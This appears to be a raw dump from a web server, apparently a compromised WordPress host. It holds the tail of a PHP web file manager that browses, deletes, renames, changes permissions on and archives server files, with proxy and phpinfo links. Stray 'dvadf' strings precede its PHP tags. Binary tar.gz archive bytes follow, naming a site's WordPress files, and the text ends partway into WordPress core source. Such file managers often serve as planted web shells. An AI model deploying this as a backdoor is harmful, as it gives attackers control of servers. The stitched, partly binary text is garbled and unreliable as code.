			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
